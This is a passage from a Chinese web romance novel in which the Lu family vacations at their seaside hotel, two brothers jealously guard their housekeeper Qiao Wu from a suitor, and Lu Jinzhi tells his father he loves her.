乔梧把寒假的休假点选在了国内,以免出现什么紧急情况可以很快赶回去,对此陆柠没有任何意见,哪怕是带她在城郊转一圈她都很心满意足。 她还以为乔梧每天这么忙,把这个约定都忘了呢。 不仅陆柠,一直在静水别墅的两个长辈也跟着来了。 难得陆江有了私人时间,今年也不像往年一样大家在国内国外不同地点,所以乔梧提议今年所有人都在这边过年,给陆宅的佣人们放两天假。 陆家已经很多年没有坐在一起过年了,一个个表面上不说,但身体却很诚实,收拾东西一个比一个快。 于是一大家子,除了还要在公司多加两天班的陆尽之,其他人都上了飞机。 陆应池盯着也大包小包的陆宣:“你怎么也来?不是要进组?” “选了房间再进。”陆宣自然地说。 上次在静水别墅跑出去玩就不通知他,这次出来度假也没打算带上他,要拍戏怎么了,拍戏就不能过来转个机? 就算他明天就要进组,今天也要选完自己的房间睡一晚够本再走。 “我是去拍戏了,不是死了,不会回来的吗?” 剧组是有一两天除夕假的,而且他这次去只是跟大家见个面围读剧本,正式开拍还要等到年后。 “不管我在不在,那个房间都是我的。”陆宣威胁,“谁也不准抢。” 陆应池理解不了:“神经。” 入了冬来南方度假的人多,公用沙滩上全是人,他们去的是私人度假别墅,也是陆氏旗下的度假酒店,拥有一片私人海滩。 乔梧依旧把两个长辈的房间安排好,所以直接扔了几个纸团在其余几人面前:“抓阄。” 经过上次在静水别墅的教训,这次谁也没有异议了。 可到最后抓阄下来,乔梧的房间还是跟陆尽之在同一层,她视线在纸上顿了几秒,最终还是没提出来要换房间。 大家去收拾整理东西,乔梧看天气不错便来到了外面的沙滩上吹着海风等酒店的员工过来汇报这两天的衣食住行。 陆氏旗下酒店第一次接待老板一家,还是除夕夜这么大的事,一定要提前把方方面面都安排好,每天的餐食也都不能是按照酒店原本的那些菜系来做,而是根据老板的需求制定不一样的菜单。 正在翻看菜系的乔梧听到一个很耳熟的声音:“乔小姐?” 她扭头一看,赤着上身只穿着个大花裤衩的沈延抱着冲浪板撒了欢地跑过来,眼睛发亮:“好久不见啊!” “好久不见。”乔梧随口打招呼,“来度假?” 沈延一直觉得自己也是有钱人中数一数二的帅哥,身材也是杠杠好,以前在国外的时候多少小姑娘趋之若鹜。 而现在他这么多腹肌在乔梧面前晃来晃去,她居然还能目不斜视。 此人恐怖如斯。 “我们还是有缘分。”沈延说,“度假都能来同一家酒店。” 乔梧失笑:“这是陆家的酒店,很意外吗?” “缘分不论深浅天定还是人为,见到了就是见到了。”沈延锲而不舍,“既然来度假那要不要一起玩?冲浪去不去?” 乔梧问:“这是什么邀请?” 沈延愣了一下。 纵横情场多年的他很快就明白了乔梧的意思。 她当初很明确地表示过,对他这种类型没有什么兴趣,两人只是以普通朋友相处。 所以这也是在表明她此时的立场。 沈延忽然觉得乔梧这人理智细心到有点恐怖的地步,不会给任何一个人有机可乘的空间也不会给人抓到任何把柄,这是他以前绝对不敢招惹的人。 但放在乔梧身上,她却给人没有那么精明算计,就是坦荡地把所有关系放在明面上,不会让人觉得有压力或是反感。 这是她与生自来的自信和从容。 “朋友。”沈延是真的很欣赏她了,哪怕现在不以男女之情去交往,要是交到这样的朋友的确很不错,他随机应变,“朋友一起玩。” “好。”乔梧示意自己手上还有事,“那我先把这个忙完?” 沈延顺势在一边坐下来:“我不急,你先忙。” 他听着乔梧跟那个酒店员工说着今后几天的安排,越听越不对劲。 她不是一个人来的?怎么还有老陆总的事儿。 而且她不是陆氏慈善基金会的理事长么,怎么还管这些? 等那员工走了,他才疑惑地问:“陆尽之那个逼剥削你了?” “嗯?” 乔梧没听明白。 “你领一份工资干这么多活儿。” 意识到他好像对自己有什么误解,乔梧挑眉:“你不知道么,我是陆家的管家。” “……” 什么鬼。 在沈延的认知里,管家和理事长就是不一样的工作,八竿子打不到一起去。 怎么他家的管家就是个年过半百的老头,陆家的管家就是乔梧这种漂亮能干的妹妹?! 陆尽之,你不干人事儿。 “那……”他犹豫了一下,警惕起来,“陆尽之也在?” 乔梧随口道:“他有工作,过两天才来。” 闻言沈延瞬间就支棱起来了,脑袋都昂起来了几分:“他是真不做人啊,怎么里里外外都要你出力,你看那天还带着你去码头,那也不是这两个工作干的事儿,要我说早点远离这种黑心资本家,你都不知道我以前在他身边过的都是什么牛马日子,他那人的嘴,啧。” 他在那趁机给陆尽之泼脏水,乔梧听了一会儿忽然问:“你的酒店多少钱一晚?” “啊?”沈延眨眨眼,“不知道啊,直接记在我老爸卡下的。” “你可以了解一下。”乔梧意有所指,“我不确定以后会不会变成五十万一晚。” “……” 死去的记忆忽然攻击过来。 沈延顿时收敛了,吐槽:“他又不在。” “但他是我老板。” “你工资多少钱一个月?”沈延说,“我也能雇你啊,而且绝对让你跟我平起平坐。” 慈善性质的基金会年薪也就那样,加 上管家的工资,应该也高不到哪里去,他还是付得起的。 乔梧笑了笑:“除了陆家,没人能雇我。” 如果不是陆家,她是不会做管家这个工作的。 她打算回去换一套防晒服,比起漂亮她更担心自己被晒黑,尤其是冲浪这种项目。 沈延便跟她一起进去,在一楼等她。 无聊之际他忽然想起什么,拿出手机给陆尽之发了一个表情。 行。 还是拉黑状态。 这人越长大脾气越怪,那就不怪我带着你的管家到处玩咯。 沈延心满意足地把手机收好,莫名觉得有什么视线直勾勾地盯着自己。 他抬头一看,眼前不知道什么时候站了两个高挺挺的年轻男人,那脸长得各有各的妖孽,着实让他这个帅逼很有压力。 对陆家的情况他是有些了解的,所以不用猜就知道眼前的两人是谁了。 靠,陆家的基因到底是中了什么彩票? 有一个陆尽之还不够? 他站起来,主动道:“你们好,我叫沈延。” 不管是什么延,陆应池和陆宣都没听过,并且从对视的过程中互换了信息,都不认识这个人。 陆应池问:“你找谁?” “乔梧。”沈延笑眯眯地说,“我是她朋友,我们约好一起去冲浪。” 他才说完,就发现眼前这两人跟变色龙似的,脸色一阵红一阵白。 沈延这辈子从来没想过,自己会被两个大男人从头看到脚,那眼神跟扫描仪一样就差把他给扫穿了。 怎么,看到他的腹肌自卑了? 然后他就看到那两人头也不回地离开了。 不是,陆家人怎么一个比一个奇怪。 乔梧换好衣服后没有直接下楼,而是去找了陆柠,既然是出来玩的就不会放她一个人在家。 而陆宣和陆应池两人也不知道去哪了,不在房间里。 得知要去冲浪,陆柠兴致勃勃地换好衣服抱着相机也跟着她一起下了楼,然后被楼下白花花的肉给刺得眯了眯眼。 见陆应池和陆宣也把自己扒得只剩一条裤衩直挺挺地坐在那,乔梧沉默几秒:“你们也要去?” 两人异口同声:“为什么不去?” 被他们夹在中间的沈延至今都不知道发生了什么,还有点懵逼。 “行。”乔梧理解不了他们的脑回路,给陆柠挑了块新手用的浮筏板,“走吧。” 陆柠抱着自己板,犹豫了一下,回头问:“你们不涂点防晒吗?” 陆应池:“没必要。” 笑死,哪里还来得及涂防晒。 家里突然坐着个小白脸,赤身裸体来找乔梧去冲浪,他们一刻也不会放松盯紧他的! 乔梧把陆柠的小脑袋转过来:“不管他们。” 这么大个人了,连自己都照顾不好,那纯属他们自作自受。 好在临出门前,陆宣至少还想起来自己是个要进组的人,又倒回去拿了件衣服披上,直接捏着满满一只防晒就冲出来了,边走边涂,往旁边挪了几眼后,又很不情愿地给陆应池挤了一点边边角角。 “拿走。”陆应池很硬气,“真男人无惧阳光。” 难得付出一分真心的陆宣立刻收回手:“傻逼。” 沈延一路听他们说话,又扭头去看乔梧,怎么看都不觉得她是一个管家。 他终于明白了,陆家这两兄弟明显是在防他啊。 别说这两看起来不聪明的了,连被陆尽之坑去的那50万就是赤裸裸的证明。 陆家这是个什么奇怪的家庭文化? 一行人来到海边。 沈延喜欢玩,这些项目每个都得心应手,他原本想叫上乔梧一起去,但一回头就撞上两堵肉墙,给他气笑了。 三人站在那儿你不让我我也不让你。 然后就见已经穿好救生衣的陆柠牵着乔梧进了水,还天真地问:“你们不玩吗?那我跟乔梧先去了噢。” 三人吃了个闷亏,谁也没说话。 乔梧回头看了一眼,不知道他们在搞什么仪式,便道:“你们先玩,我教教陆柠。” 过去没有人教陆柠这些,也没人带她玩,所以几个叔叔会的她基本不会。 唯独一个陆柠,是任何人都没异议的。 连沈延都不愿意跟一个漂亮小孩抢人,见陆应池和陆宣那虎视眈眈的样子,他笑道:“那我们去?” “走啊。” 见他们三个进了海,陆柠不解地问:“他们认识吗?” 乔梧懒声道:“不认识。” 陆柠嘟囔:“那玩得这么好。” 乔梧笑笑。 如果刚开始没反应过来,那她现在也算知道是为什么了。 不是玩得好,是陆应池和陆宣察觉到有陌生人进入了他们私人领域,所以很防备。 在他们看来,她从小就是跟他们一体的,哪怕是现在不管遇到什么事什么人,也第一时间会站在他们身边,他们已经习惯了这种相处模式。 过去还会在家人之间争来争去,现在好不容易脱离了家人这个圈,面对一个完全陌生的外人时又触发了防御机制。 就像陆宣对寥寥和崔斯同也很防备一样,不分男女,他们就是不喜欢外人。 但她总归是会有自己的圈子,以后……也会有自己的爱人,哪怕不是陆尽之也会是别人。 他们早晚都会面对这么一天,所以她没有打算去阻拦,答应跟沈延出来玩也是这个原因,总要让他们适应。 陆柠在板上划拉一阵就懒得动了,她现在还没有办法去海里,所以不觉得这种运动有什么好玩,反而是对那边的摩托艇比较感兴趣。 乔梧倒是玩什么都行,对她来说都很放松,所以把板放在岸上后就带着陆柠上了摩托艇,带她去爽了一把。 三个在海里秀来秀去的大男人回头发现,自己简直就是媚眼抛给瞎子看,只好悻悻回程在沙滩上坐下。 空气里弥漫着一股很诡异的尴尬。 三人的目光随着乔梧那辆摩托艇来来回回,就是一声不吭。 陆宣和陆应池少有这种单独待在一起的时候,所以根本不知道要怎么沟通,比跟陆柠单独在一起时还不自在。 倒是沈延要好一点,他这会儿没什么顾及,饶有兴致地盯着乔梧:“乔梧一直这样,什么都会吗?” 他认识很多人,不管男男女女,玩肯定是都会玩的,甚至玩得比这个更牛逼更花的都有。 但乔梧不一样,她好像什么都会一点,总能让你发现惊喜。 第一面的时候他以为这是一个很漂亮的女强人,第二面的时候又觉得她是一个很理智温柔的人,可现在又觉得这人其实挺酷的。 他没等到回答。 因为对于陆应池和陆宣来说,他们其实也有些茫然,不知道怎么回答。 陆宣记得乔梧是不会骑摩托艇也不会冲浪的,但转念一想,那是十岁之前的乔梧。 他们忽然发现,自己对于后来的乔梧,其实认知是很浅显的。 可能是因为现在的她带给他们的感觉跟以前没什么区别,所以他们下意识没有去想 过这个问题,下意识忽略了中间那些年彼此之间的微妙。 人会一夜之间改变吗? 陆宣忽然愣了一下。 显然沈延并不是个会内耗的人,没人回答他也能自问自答:“我的眼光果然不错。” 这话一处,正在发呆的两人齐刷刷就盯了过来。 陆应池危险地眯起眼睛:“什么眼光?” 沈延轻咳一声:“你们觉得,我跟乔梧配不配?” 要说他之前真的只是出属于颜狗想要接触乔梧,但现在真的起了心思要认真追她的。 乔梧是陆家的管家,以后少不了要跟这几个奇怪的陆家兄弟打交道,所以沈延态度很好。 但其他人态度就不怎么好了。 陆应池眼神一秒变得凶狠:“你就是那个追她的?” 沈延受宠若惊,还有点害羞:“她跟你们提过我?” 原来在乔梧心里他是有点分量的。 “正式自我介绍一下,我叫沈延,家里是做海运……” “你做海王都不行,想都别想!”陆应池忍无可忍地打断,“你配个der!” 其实他更想一脚把人踹进海里,但又生生忍住了。 从今天起,陆家钟禾静和沈延都禁止入内! 相比之下,陆宣虽然脸色不好看,但情绪却没那么激动。 要是沈延说他是乔梧的朋友,那他可能会更在意一点,但如果说是追求者,那他其实并不是很在意。 陆宣轻嗤:“你不是她喜欢的类型。” 暴怒的陆应池回头,狐疑:“你知道她喜欢什么类型?” 虽然不是很想承认,但陆宣的确知道那么一点,他啧了声:“厉害的,聪明的,她说过连她都不如的人,她不会认可。” 沈延才升起来的一点自信顿时又磨灭了下去。 嗯? 比她厉害的? 虽然不愿意承认,但沈延觉得自己在乔梧面前,确实会少几分自信。 他脸色变了变,语气复杂:“不会是陆尽之那种吧。” 陆应池当即一脸嫌弃:“怎么可能。” 谁会喜欢陆尽之? 当然,他的确很有钱,也勉强…有几分样子。 但那张嘴谁都忍不了,无差别攻击。 乔梧又不是受虐狂。 虽然很不愿意,但陆宣莫名在这一刻跟陆应池多了几分共感,也多了几分骄傲:“她不喜欢有钱人。” 太好了,幸好他兜里没挣到几个子。 这是他唯一的优点。 连陆应池都反应过来了。 太好了! 幸好陆尽之把他卡停了,四舍五入他也不是有钱人。 “我们家最忌讳有钱人。”陆应池脾气顿时就收敛了,哼哧着说,“尤其是当老板的有钱人,像你这种继承人霸总之类的,她肯定不喜欢,属实是定向排雷了。” 沈延:“?” 陆应池对他多了几分怜悯,怎么看都觉得沈延一点机会都没有:“你好自为之,别浪费时间。” 沈延:“……” 不是,喜欢比她厉害的,但又没有钱的。 这是世界上有这种人存在? 还是漂亮女孩的要求都要异于常人一点? 沈延是满头雾水被两个大傻子给亲自送走的。 把人送走后,陆应池和陆宣对视一样,第一次对彼此产生了认可的情绪,至少统一战线了不是? 至于乔梧也不会喜欢他们,他们心知肚明,却谁也不说。 可沈延在回到自己的家里以后,却还是有些莫名。 恰好他父亲从楼上下来,一看到他就黑下脸:“整天就玩得不见人影,让你去跟人吃饭去了吗?” 回国以后沈延就一直被他老爸压着去相亲,以前还会想着去吃顿饭,但自从看到乔梧以后又觉得其他人都差点意思。 他想了想,走上前勾住他老爸的脖子:“你给我分析分析,有个女孩喜欢比她厉害的人,但又不喜欢有钱人,这什么意思?她本来就很有钱啊。” 沈父这么大岁数还没听过这么无理的条件要求。 但一想到自家儿子的智商,却又觉得合情合理:“你把原话跟我说说。” 听完前因后果后,沈父恨铁不成钢地踢了这个蠢货一脚:“那是叫不喜欢有钱的吗!那是不喜欢没本事的!” 心下却觉得这个女孩应该比较有自己的想法,所以好奇地问:“哪家姑娘?” “乔家。” “乔家?” “不是什么人家。”沈延还一头雾水呢,把乔梧的情况随便说了一下,至少他爹就不会逼着他去相亲了,说完还谨慎地问,“你不会跟那些封建霸总一样有门第之见吧?!” “我只对蠢货有门第之见。”沈父觉得这种人还真不一定看得上他这个儿子。 陆家的管家怎么了,那一般人能入得了陆尽之的眼? 而且还是理事长。 这种女孩一看就独立有思想,跟他的蠢儿子不是一个阶层的。 “陆家三个儿子。”沈父很有自知之明,“不是老三老四,一个陆二你都比不过,她每天跟陆二在一起,能看得上你?” “我怎么了?”沈延应激了,“你是没跟陆尽之相处过,嘴毒心脏小心眼,一般人谁受得了他那种压力怪,而且人家都说了,乔梧最不可能的就是喜欢陆尽之。” 这义愤填膺的样子说得沈父都有几分心动了。 要是真的有这个机会,以后家里多一个能干的儿媳妇儿,那这个儿子废了就废了吧。 他心眼子转了转:“你说你陆叔叔他们也在?” “昂。” 沈父指了指他那吊儿郎当的样子:“晚点我让人准备点礼物,明天带你去串门。” “我靠。”沈延第一次觉得他爹身上散发着慈父的光辉,“老头,我第一次这么崇拜你!” “滚犊子。” 沈父是真的很操心儿子的终身大事,但由于是上门拜访也没有冒失,还是提前给陆江打了个电话。 这边的陆江越听脸色越怪异,都是千年老狐狸,怎么会不知道人家旁敲侧击的是个什么事儿。 但他沉默了好一会儿,还是答应了下来。 挂了电话后,他看向身边的乔知义:“你记得沈家吗?” 乔知义点头:“那个海运起家的沈家?” “嗯。”陆江冷笑一声,“他小儿子不知道在哪见了小梧,想要跟她认识一下,说要明天过来拜访。” 这话乔知义还有什么不明白的,当即有些抗拒:“小梧还小呢。” “所以要是他明天提起,你一定要毫不犹豫拒绝。”陆江很满意他的反应,又上眼药,“我听说过他家那个小儿子,以前在国外跟在老二身边学了两年,感情烂账一堆,不适合小梧。” 乔知义立刻就觉得这小子绝对不行。 他闺女不能跟这样的花花公子在一块的! “那您怎么还让他们来。” 陆江表情有一瞬的凝滞,过了会儿才说:“吃个饭不是什么大事,有件事想确认一下。” 自从上次在静水别墅看到老二的动静以后,他就觉得不太对,私底下让谢意多注意了很多。 这段时间他有意没有回陆宅,但家里也有他的眼线。 不管是佣人还是谢意给他带来的答复,都很不乐观。 老二跟小梧走得很近。 小梧倒是一则,她跟家里人关系都不错,但老二不是那样的人。 每天亲自开车一起上班下班,也就只有家里那几个蠢儿子看不出来有什么毛病。 陆江有自己的盘算,乔梧是他一手培养起来的。 以前纵然有些行为不合适,但也是他看着长大的孩子,性格很好能力也很好,对家里也尽心尽力,不然陆家不会是这个样子。 他现在是完全把乔梧当做自家人在看,所以会给她跟几个孩子一样的待遇。 也是真心觉得乔梧年纪还小,不用这么着急去谈婚论嫁。 再者沈家那个老狐狸自己儿子扶不上墙就打乔梧的注意,他怎么可能愿意。 但一码归一码。 家里这几个孩子对乔梧都很在意,一家人就是 一家人,他不希望家里再出现什么变动。 可这些话不能跟乔知义说。 等人走后,他才拿出手机给老二打了个电话。 “什么时候的机票?”他问。 陆尽之:“后天。” “不着急,慢慢来。”陆江状似很不经意地问,“沈家那个小儿子跟你在一起工作多长时间?” 闻言陆尽之放下了手上的工作。 在他看来这个问题问得很没有必要,陆江怎么会不知道他在国外两年的动向。 所以他并没有回答,而是打开抽屉拿出备用机,淡淡问:“怎么。” “没什么事。”陆江一直在关注他的语气,没察觉到有多大起伏,又继续道,“今天跟小梧在这边遇到了,说是明天要来拜访一下。” 理论上来说是三件搭不上边的事儿。 但陆尽之却在一瞬间听懂了。 他很清楚乔梧在陆江心里的地位,像陆江这种人是不会轻易把她放走的,但也不会轻易让她打破平静稳定的湖面。 他垂下眼,备用机上赫然是他已经调出来的机票查询界面。 没听到什么声音,陆江不禁皱眉:“你听到我说话了没?” 陆尽之没什么情绪地“嗯”了声。 “我问你,他这人怎么样。” “不熟。” “……” 在你身边两年,你说不熟! 他还没说什么,又听到老二很有耐心地反问:“知道为什么不熟吗?” 没等回答,那边又自顾平静地说:“因为他想找乔梧要微信,我很不高兴,把他拉黑了。” “?” “知道我为什么不高兴吗?” 这种语气虽然听着很温和,但陆江知道他绝对不是要说什么让人爱听的话,想出声打断:“等…” 陆尽之没给他这个机会,直接了当道:“因为我喜欢她。” 虽然早有预料,但陆江显然没想到老二会这么直白,他压着愠怒沉下声音:“陆尽之,你有点分寸!” 电话那头的陆尽之不仅没被吓唬到,还笑了声:“父亲,我是什么人你不知道吗?” “不用试探。”他轻笑着,“我非她不可了。”【魔蝎小说 mo xie xs .c om】 80-87 第81章 第八十一章怜悯一下我 “陆尽之…” 这次回答陆江的,只有对方挂断电话的忙音。 他沉着脸,就是因为深知老二的秉性,才会觉得这件事很难办。 难道要从乔梧下手? 她做什么事都想得周到,不可能会考虑不到这些问题,目前还没听到任何他们还在一起的消息,应该还没到不可挽回那一步。 陆江决定抽个时间跟她谈一谈。 目前提起来会有些冒昧,老二后天回来,明晚吃完饭可以借着这个机会探一探乔梧的口风。 到了第二天,乔梧一早醒来先去找了陆柠。 陆柠把呜呜也带过来了,但因为呜呜还小,疫苗没打全,需在在这边补上。 她昨晚找好了宠物医院,今天跟陆柠一起带呜呜过去。 才走进陆柠房间就被神秘兮兮地拽到了窗边,扯了点窗帘做遮挡。 乔梧好奇:“怎么?” 陆柠压低声音:“陆应池偷偷点外卖。” 外卖? 一大早的他要吃什么?而且酒店里都安排好了厨师每天过来,就算有他想吃的,也可以直接跟厨师说。 被气氛感染,乔梧也半掩着身子在往下看。 结果发现隔壁窗口正在往下放绳子,上面系着一个小果篮,应该是酒店装水果的被他给卸下来了。 而楼下的院子里,等那个篮子放到地面以后,一个外卖员勤勤恳恳地把手里的袋子给他放进去,然后扬声喊:“陆先生!放好了,祝您身体健康!” 乔梧看到那牵着篮子的绳子抖了抖,紧接着是陆应池刻意压低的声音:“都叫你别出声!” “好的先生!” “……” 隔壁传来窗户砰一下关上的声音,表达了他无形的愤怒。 陆柠愤愤地说:“他偷偷开小灶。” “那是药。” “药?他昨晚还干了四碗饭,怎么能生病呢!” 乔梧也不知道。 但她看到那袋子应该是某团送药的。 她将窗帘扯好:“去看看。” 如果客人有需要,酒店会随时为客人准备应急药品或是让医生上门,尤其是老板一家在这儿,更不可能让陆应池沦落到点外卖送药的地步。 背着人干什么呢。 乔梧走到陆应池门口,敲了敲门。 里面传来发闷的声音:“不吃。” 乔梧:“是我。” 房间里的陆应池动作忽然一顿,看到摆在面前这一片狼藉,手忙脚乱开始收拾东西:“我放假不用早起吧!求求了让我睡个懒觉,别打扰我了!” 靠,他就说让那个外卖的不要出声。 难道被听到了? 不应该,乔梧房间不在这个方向。 陆应池乒铃乓啷地收拾,门口的乔梧却没给他多少时间:“陆应池,我数到三。” 来不及了,陆应池才一股脑把所有的东西都塞进被子里,房门就被人打开了。 这该死的行为习惯,他再也不在房间门口摆备用钥匙了! 进门后,乔梧将钥匙随后放在一边,闻到空气里有股淡淡的清香,却也掩盖了一股药膏味,哪怕陆应池把窗户打开也无济于事。 她看向坐在床沿的人。 二十多度的天气,他裹着被子严丝合缝,仿佛誓死都要维护自己的清白,脸都被捂得发红。 “都说了我要睡觉。”陆应池似是很屈辱地说,“你们这是擅闯民宅。” 乔梧淡淡反问:“你知道东西沾上酒店床品很难清理吗?” “…” 陆柠从乔梧身后探出脑袋:“我看到你用篮子拿外卖了噢,陆先生~” “……” 乔梧走到桌前,将那些被陆应池全拿出来摆得乱七八糟的水果放好,问:“怎么回事?” 见辩无可辩,陆应池这才磨磨唧唧地把被子掀开。 除了他身后那一长串的药膏和瓶瓶罐罐,还有他整个人脱层的颜色。 乔梧愣了下。 原来不是脸红,是黑了啊。 “嚯。”陆柠嗤的唱出声,“黑脸的张飞~叫喳喳~” 被狠狠嘲讽了的陆应池脸色更黑,抄着手边的抱枕就扔过去:“给老子滚!” 陆柠抱着枕头嘿嘿直乐,反复鞭尸:“真男人,无惧阳光。” 陆应池更郁闷了。 有朝一日居然被陆柠这小丫头给嘲笑! 呵,所以他还是有先见之明。 乔梧看他整个人都蔫了,哭笑不得:“晒伤了?” “……嗯。”陆应池把那些药全给捣鼓到桌上去,甚至还有一面镜子。 说实话他虽然长得高,但以前着实没吃过什么苦,不管是出去玩还是做什么,一定有人会给他全套防护。 但昨天嘴硬拒绝了陆宣,几人又是下海又是沙滩暴晒的,小小的脆皮鸡有点扛不住了。 昨天还是发红,今天已经隐隐发黑。 尤其 是肩膀和后脖颈那里,洗澡时还有点疼。 这种事情要是说出去一定会被陆宣和陆柠耻笑,所以他连酒店的员工都没喊,自己点了外卖,花光了他所有的积蓄。 真是操蛋。 他要投诉那个听不懂人话的送外卖的! 乔梧看着只觉得好笑,并不觉得心疼。 她捡着那些药看说明,给挑出几个合适有舒缓的放下,然后看着萎靡的陆应池:“吃教训了吗?” 陆应池抱着那些药不吭声,只一个劲地往自己身上抹,泄愤似的。 上次被打了一巴掌磕了下头她还心疼的,现在已经开始冷眼旁观了。 呵,人心。 “跟沈延较什么劲。”乔梧在他身边坐下,“他惹着你了?” 陆应池倒是没藏着掖着:“他配不上你。” 乔梧反应了一秒,纳闷:“这哪跟哪?” “先不说他。”她问,“就算不是沈延,以后我也会有其他朋友来,难道你每次都要跟人去较较劲?几层皮这么禁得住晒,要是人家玩其他的呢?” 她顿了顿,温声道:“陆应池,我不能有自己的生活了吗?” 陆应池动作一僵,垂下的眼睛有一瞬的茫然。 “把我一直圈在你们身边,就是你们一直想要的吗?”乔梧语调降了两分,“你们有没有想过我的感受呢?” 原本她一直站在别人的角度去想去考虑。 但那天听了陆尽之的话以后又发现这样好像不对,因为这样也会让别人优先考虑到的是自己。 可她其实也有些感受的。 听到乔梧冷下来的声音,陆应池就急了:“我不是那个意思!” “那你是什么意思?” “我……” 陆应池急得团团转,又没法说出自己的想法。 他就是觉得乔梧是最好的,也想要证明自己比其他人好,连他都比不过的人,怎么能配得上她。 而且他……还在追赶。 陆应池烦躁地揉了把头发,一时之间更颓了。 见他要把自己揉成拖把了,乔梧这才缓和下声音:“下次做事之前能不能想一想后果?” 她叹了口气:“而且陆应池,你要知道一件事。” 陆应池抬头望着她。 乔梧站起身,静静回望:“我先是乔梧,才是你们的朋友。” 这一刻陆应池陷进她的眼睛里,像是从头到脚被雷劈过,有些控制不住地战栗。 也是第一次清清楚楚地意识到,如果没有那一层雇佣关系,他做的这些事对于任何一个人来说,都是负担。 她是我的乔梧。 她是乔梧。 是两种截然不同的意思。 “你讨厌我了吗?”他问。 乔梧将他脑袋上的头发理顺:“不会讨厌你。” 陆应池眼睛亮了一瞬,又听她说:“你是弟弟,所以你在我这儿有犯错的权力。” 亮起来的眼睛像是听不懂似的眨了一下。 弟弟? 上一次乔梧说他是弟弟的时候,是在河前村跟那些村民说他生病了。 这是第二次。 陆应池以前从来不把这个称呼当回事,因为他从来没喊过乔梧一声姐姐,在他看来乔梧就是乔梧,不是家里这些一言难尽的人。 做什么让她沾上陆家! 可乔梧是一直把他当弟弟。 还没等他细细品味,陆柠却不满意了:“那我呢!” “那天在火锅店我不也是妹妹吗!”陆柠指着自己跟发呆的陆应池,“辈分乱了!” 本身就没有什么血缘关系,乔梧都不想问你当初让我做呜呜妈妈让你二叔做爸爸的时候想过这个问题没有。 “你叫你的,他叫他的,各论各。”她将那个不灵光的小脑袋转过去,“给你小叔看看哪里需要上药,我去把呜呜拿过来出发了。” “噢。” 看着乔梧的身影消失在门口,陆应池有点发闷。 上一次还是她亲手上药呢,这会儿就是陆柠了。 “干什么呢哥哥?”陆柠指着他的肩膀,“涂到耳朵上去了。” “……” 陆应池顾不得伤春悲秋,拧着她的耳朵:“你给老子闭嘴知道吗?姐姐我不稀罕!今天你最好是把《家族歌》给我抄一百遍!” “不稀罕就不稀罕,你动手干什么!”陆柠捂着耳朵挣扎,“回家用用测谎机器人你就老实了!” 陆应池给了她脑袋一下:“一个小屁孩乱叫什么姐姐。” “姐姐多好啊,她那么厉害懂那么多,人又好。”陆柠抱着头哼唧,还很嘚瑟,“带我玩带我买衣服陪我说话教我读书,别人都没有,我跟她还有小秘密。” 嘿嘿,她跟乔梧还一起洗过澡呢。 小丫头说着给自己说兴奋了,摇头晃脑的。 倒是陆应池愣了一下。 怎么说的,好像还挺心动的。 在他的概念里,哥哥姐姐应该是陆尽之和陆宣那样的。 再不济就是秦敛那样,陆尽之稍微好一点,至少舍不得用他的皮带抽人。 想到这儿,陆应池表情顿时变得冷硬。 那也不是因为陆尽之人好,而是他心疼自己的皮带。 他的嘴比皮带伤害高多了。 正想着,门口就晃过一个影子。 陆宣今天收拾收拾要进组了,所以打算跟乔梧说一声,顺便跟其他人宣告一下自己的存在感,免得又把他当不存在的透明人了。 当他晃悠到陆应池的房间门口时,发现门没关就随便看了眼,而后目光忽然一顿。 “哟。”他靠在门口将里面的黑白无常打量了个遍,懒洋洋地说,“这不是真男人么?” 陆应池:“……” 草! 到底谁会羡慕有哥哥姐姐的人啊! 嘴那么贱! 乔梧带着猫回来时,房间里吵闹得不行,她往房间里看去,眉梢轻轻一挑。 陆应池趴在床上,而陆宣用膝盖抵着他的背,陆柠则是坐在陆应池的脚上不让他挣扎。 陆宣一边涂药一边夹带私货,在人背上拍得啪啪作响。 别看陆宣没陆应池高,但为了维持身材每天锻炼,力气还是挺大的。 陆应池气得脸都红了,还挣脱不开:“陆宣你放开我,老子要跟你单挑!” “跟谁老子。” 昨天难得示好还被拒绝,陆宣记恨得很,好不容易逮到机会一定要狠狠要回来,他又是一巴掌打上去,原本被晒的发红的肩膀就更红了,他悠悠道:“知道这玩意儿多贵么,拿给你用就不错了,跟哥哥好好说话。” 他是艺人,又极度在意自己的外貌,所以用的护肤产品和修复产品一直都是精挑细选的,的确比陆应池胡乱买来的那些药更管用一点。 偏偏还一直揪着昨天的话不放:“真男人还怕疼?” 陆柠帮腔:“就是。” 给乔梧看乐了:“这就开始杀年猪了?” 里面三人动作停了一瞬,朝她看过来。 “嗯。”陆宣按住那颗大脑袋,“你要哪部分?” “留条腿吧。”乔梧笑着招呼陆柠,“走了。” 陆柠麻溜从小叔腿上爬起来跳下床:“你们自己玩吧。” 在陆应池要翻身做主人的那一瞬间,陆宣也极其有眼力见的松开人起身:“乔梧。” 乔梧把装呜呜的猫包给陆柠背上,抬头:“嗯?” 陆宣语气很不经意:“我一会儿也要走了。” 你回来就看不到我了! “一路顺风,我们等你回来过年。”乔梧笑了下,“陆老师。” 陆宣嘴角往下抿了抿,又轻轻翘起来。 陆老师,真的很好听。 酒店这边备得有车,但都是些商务出行用的,带猫猫打个针而已,乔梧没有费太多力气,直接找酒店要了辆小电驴就带着陆柠出发了。 这边天气很不错,只要不像那两个大傻子一样暴晒,吹吹风都很舒服,还可以带陆柠去周围的小街道上溜达溜达。 酒店很大,两人骑着车要绕一会儿才绕得出去。 到了酒店大门时,乔梧忽然捏住刹车。 陆柠牢牢抱住她的腰:“怎么了?” 门口停了辆印着陆氏标志的车,是酒店给陆家人准备的,这个点应该没人会在外面。 “这是谁……”话音没落尽,看到后座下来的那人时,乔梧语调轻轻扬起,“陆尽之?” 最近陆尽之不管做什么都会提前跟她说安排,用他的话来说就是提前报备一下,要是她什么时候一时兴起想要一起吃饭他随时恭候。 所以按照陆尽之原本的行程,他应该是忙到今天下午,坐明早的飞机过来。 现在整整提前了一天,而她也没听他提起过。 陆柠艰难地挪动被局限在头盔里的脑袋,就看到他二叔走过来了。 她立刻又把脑袋缩了回去。 乔梧问:“你怎么这个时候来了?” 因为过来度假,陆尽之穿得比较休闲,浅色衬衫和浅色长裤,袒露的锁骨处是条不规则项链,有时候他比做艺人的陆宣都还要讲究。 “提前做完工作了。”陆尽之看了眼后面背着猫包探头探脑的陆柠,“去打针?” “嗯。” “一起吧。” “这车只能载两个人。” 闻言陆柠更加紧紧地搂住乔梧的腰,生怕她二叔把她拧下去。 但显然这难不倒陆尽之:“嗯,我再骑一辆。” 他身后等待多时开着宾利的司机默默把后面的车窗升上来,很懂事地说:“陆总,我马上让人给您送车来,酒店管家会把您行李拿去放好。” “辛苦。” 